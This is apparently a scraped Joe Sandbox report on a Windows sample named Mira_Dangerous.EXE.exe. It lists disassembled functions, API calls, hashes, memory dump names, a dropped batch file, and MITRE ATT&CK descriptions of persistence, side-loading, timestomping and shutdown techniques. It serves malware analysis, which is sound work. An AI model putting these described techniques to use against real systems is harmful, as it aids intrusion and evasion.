LoadLibraryA.KERNEL32 ref: 00007FF7A8CC7A9D

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF7A8CC7A0E
advpack.dll, xrefs: 00007FF7A8CC7A4B, 00007FF7A8CC7A96

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: LibraryLoad$AttributesFile
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$advpack.dll
API String ID: 438848745-258089097
Opcode ID: 9f0cd13c1bb279af47be13cee5dd35000d2da7fbef8f0ef7de7ad0cc9ac3dbe3
Instruction ID: 1570eb5ac33d25c01895b4b45d57c937b2072501f0e628e6e6c19e3bcd127489
Opcode Fuzzy Hash: 9f0cd13c1bb279af47be13cee5dd35000d2da7fbef8f0ef7de7ad0cc9ac3dbe3
Instruction Fuzzy Hash: 23116FB1A1A68285EF61AB14E4502F9F7A0FB89704FC672B1C59D426B1CF3CD60ACF14

Function 00007FF7A8CC1500 Relevance: 7.6, APIs: 5, Instructions: 50windowCOMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF7A8CC1545
GetDesktopWindow.USER32 ref: 00007FF7A8CC1557
LoadStringA.USER32 ref: 00007FF7A8CC1587
SetDlgItemTextA.USER32 ref: 00007FF7A8CC15A0
MessageBeep.USER32 ref: 00007FF7A8CC15AF

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: BeepDesktopDialogItemLoadMessageStringTextWindow
String ID:
API String ID: 1273765764-0
Opcode ID: 959f28d1b95b8526aa68c42a3a998ab188e5ed3d10e9a2e05c875aba66557268
Instruction ID: df9702b8a3e8c5beff0ff1d6a6001b7247a7fa56ad736fe5ced7f0fa413fc90d
Opcode Fuzzy Hash: 959f28d1b95b8526aa68c42a3a998ab188e5ed3d10e9a2e05c875aba66557268
Instruction Fuzzy Hash: 6411B4B1A09A8586EA506B51F4043B9F760FB89B54F86A3B1DA5E073E4CF3CD445CF14

Function 00007FF7A8CC3BF4 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 236windowCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 00007FF7A8CC3C3F
MessageBeep.USER32 ref: 00007FF7A8CC3EB9

Part of subcall function 00007FF7A8CC7F04: GetVersionExA.KERNEL32 ref: 00007FF7A8CC7F59
Part of subcall function 00007FF7A8CC7F04: GetSystemMetrics.USER32 ref: 00007FF7A8CC7F93
Part of subcall function 00007FF7A8CC7F04: RegOpenKeyExA.ADVAPI32 ref: 00007FF7A8CC7FC8
Part of subcall function 00007FF7A8CC7F04: RegQueryValueExA.ADVAPI32 ref: 00007FF7A8CC8003
Part of subcall function 00007FF7A8CC7F04: RegCloseKey.ADVAPI32 ref: 00007FF7A8CC8016
Part of subcall function 00007FF7A8CC7F04: CharNextA.USER32 ref: 00007FF7A8CC8065

MessageBoxA.USER32 ref: 00007FF7A8CC3EF3

Part of subcall function 00007FF7A8CC7E34: EnumResourceLanguagesA.KERNEL32 ref: 00007FF7A8CC7E8C
Part of subcall function 00007FF7A8CC7E34: EnumResourceLanguagesA.KERNEL32 ref: 00007FF7A8CC7ECA

Strings

Mira, xrefs: 00007FF7A8CC3EE4, 00007FF7A8CC3F24

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: EnumLanguagesMessageResourceVersion$BeepCharCloseMetricsNextOpenQuerySystemValue
String ID: Mira
API String ID: 2312377310-679536105
Opcode ID: 863b2b2085453d1b908c50441a0eaeb3b9e2f95aa7a0fcc7b82c6bcc3126a943
Instruction ID: 50ee7d8f3fa9250ba9ccc88793ca2a95894167a3497af9bb4f84f3f6dbc189c7
Opcode Fuzzy Hash: 863b2b2085453d1b908c50441a0eaeb3b9e2f95aa7a0fcc7b82c6bcc3126a943
Instruction Fuzzy Hash: 00A1A8B2E1B14286F760AF25A44467BF664FF44754F9321B9E90D872A0CE3DE845CF28

Function 00007FF7A8CC78B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32 ref: 00007FF7A8CC795B
WriteFile.KERNEL32 ref: 00007FF7A8CC7992
CloseHandle.KERNEL32 ref: 00007FF7A8CC79B7

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF7A8CC78E2

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 1065093856-2312194364
Opcode ID: 0f65b1997a9f98f28a06f8ce24cdc0a961af7feeb94d9fcacdfae0386ba340ac
Instruction ID: a095456c3ee46ff799ff454488039334406548df50c36cf0fb40121166dced24
Opcode Fuzzy Hash: 0f65b1997a9f98f28a06f8ce24cdc0a961af7feeb94d9fcacdfae0386ba340ac
Instruction Fuzzy Hash: A831D2B260968186EB60AF14E4407BAF760FB89BA4F855274DB9D477A4CF7CD408CF24

Function 00007FF7A8CC5C60 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

#20.CABINET ref: 00007FF7A8CC5CD9
#21.CABINET ref: 00007FF7A8CC5D18
#23.CABINET ref: 00007FF7A8CC5D52

Strings

*MEMCAB, xrefs: 00007FF7A8CC5CF2

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID:
String ID: *MEMCAB
API String ID: 0-3211172518
Opcode ID: 84e3e731c747766a29489c21773a7ead2eab1f416db6fdf01ae2d5964e993175
Instruction ID: 5bf70faf4ced32100706c07ee8cea6e0997aeb65235ae388d7c5902db18d3bc7
Opcode Fuzzy Hash: 84e3e731c747766a29489c21773a7ead2eab1f416db6fdf01ae2d5964e993175
Instruction Fuzzy Hash: 51314AB1A0AB4285EB50AB11E4483B9F7A0BB44791FC66276D55C423B0EF3CE489CF24

Function 00007FF7A8CC8470 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF7A8CC84E3
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7A8CC8502
RtlVirtualUnwind.KERNEL32 ref: 00007FF7A8CC854F
__raise_securityfailure.LIBCMT ref: 00007FF7A8CC8634

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: CaptureContextEntryFunctionLookupUnwindVirtual__raise_securityfailure
String ID:
API String ID: 140117192-0
Opcode ID: 2331a3b639adea238e9a50b849fe14964fd45a281eaa4897dacf7bdda2e71fe4
Instruction ID: 1ce37870135c58ad70c76af6b988da2ef1b50825ca60aead9965d316e89ea36d
Opcode Fuzzy Hash: 2331a3b639adea238e9a50b849fe14964fd45a281eaa4897dacf7bdda2e71fe4
Instruction Fuzzy Hash: 1141E6B5A0AB0181EB50EB18F890366F364FB88744F926176DA8D82774DF3CE159DB24

Function 00007FF7A8CC7AC8 Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32 ref: 00007FF7A8CC7AF2
LoadResource.KERNEL32 ref: 00007FF7A8CC7B09
DialogBoxIndirectParamA.USER32 ref: 00007FF7A8CC7B3F
FreeResource.KERNEL32 ref: 00007FF7A8CC7B51

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: Resource$DialogFindFreeIndirectLoadParam
String ID:
API String ID: 1214682469-0
Opcode ID: 99feb220bc4d7b18b994646d80799ee091b3782a70530dd697189ae1540c7553
Instruction ID: ab4290b57b4d52894cefd446244f4d0c6da0589972beb3ccfa0b825aae8d76cc
Opcode Fuzzy Hash: 99feb220bc4d7b18b994646d80799ee091b3782a70530dd697189ae1540c7553
Instruction Fuzzy Hash: 39115171A09B4186EA109B15F450279FA60FB49FE1F895774DE5D07BA4DF3CD4408B18

Function 00007FF7A8CC7C40 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

CharPrevA.USER32(?,?,00000000,00007FF7A8CC2B25), ref: 00007FF7A8CC7C64
CharPrevA.USER32(?,?,00000000,00007FF7A8CC2B25), ref: 00007FF7A8CC7C80
CharPrevA.USER32(?,?,00000000,00007FF7A8CC2B25), ref: 00007FF7A8CC7CA4
CharNextA.USER32(?,?,00000000,00007FF7A8CC2B25), ref: 00007FF7A8CC7CB8

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: Char$Prev$Next
String ID:
API String ID: 3260447230-0
Opcode ID: 707050412bb26cc287988f04cda4ab0ae1f580e9279edb24177e5c3a1430149b
Instruction ID: ac7408e1f59e0d2a1e8837d6bbd0105a770f3669166e3ab591282499efaf3f1a
Opcode Fuzzy Hash: 707050412bb26cc287988f04cda4ab0ae1f580e9279edb24177e5c3a1430149b
Instruction Fuzzy Hash: 8A11CAA2E0AA9285FB511B25B500179EFA1E74DFE0F8AA3B0DA5F03794CF3CD4408B14

Function 00007FF7A8CC8648 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF7A8CC8653
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7A8CC8672
RtlVirtualUnwind.KERNEL32 ref: 00007FF7A8CC86BF
__raise_securityfailure.LIBCMT ref: 00007FF7A8CC8735

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: CaptureContextEntryFunctionLookupUnwindVirtual__raise_securityfailure
String ID:
API String ID: 140117192-0
Opcode ID: f2b1ddacced677a847f8148696c66bf38e9a023ccacb3690f052d0a45ab1694c
Instruction ID: e9d5af0d013f69fe05184b611cb4149576c9f742cad34aff08d22e4bcf15fc7d
Opcode Fuzzy Hash: f2b1ddacced677a847f8148696c66bf38e9a023ccacb3690f052d0a45ab1694c
Instruction Fuzzy Hash: E721F5B591AB4181E700AB04F8803A6F3A4FB84744F912076DA8D43774DF3CD059DB28

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Mira_Dangerous.EXE.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

World Map of Contacted IPs

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\IXP000.TMP\MIRA_D~1.BAT

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

System Behavior

Analysis Process: Mira_Dangerous.EXE.exePID: 7084, Parent PID: 2100

General

File Activities

File Opened

File Created

Windows Analysis Report
Mira_Dangerous.EXE.exe

Function 00007FF7A8CC40C4 Relevance: 54.6, APIs: 17, Strings: 14, Instructions: 371
libraryloaderCOMMON

Function 00007FF7A8CC1D28 Relevance: 42.2, APIs: 16, Strings: 8, Instructions: 183
registrylibrarymemoryCOMMON

Function 00007FF7A8CC66C4 Relevance: 35.3, APIs: 14, Strings: 6, Instructions: 299
memorystringCOMMON

Function 00007FF7A8CC2DB4 Relevance: 28.2, APIs: 10, Strings: 6, Instructions: 179
synchronizationCOMMON

Function 00007FF7A8CC6CA4 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 215
windowCOMMON

Function 00007FF7A8CC5D90 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 124
windowCOMMON

Function 00007FF7A8CC30EC Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 151
libraryfileloaderCOMMON

Function 00007FF7A8CC64E4 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 123
COMMON

Function 00007FF7A8CC2C54 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 84
libraryloadershutdownCOMMON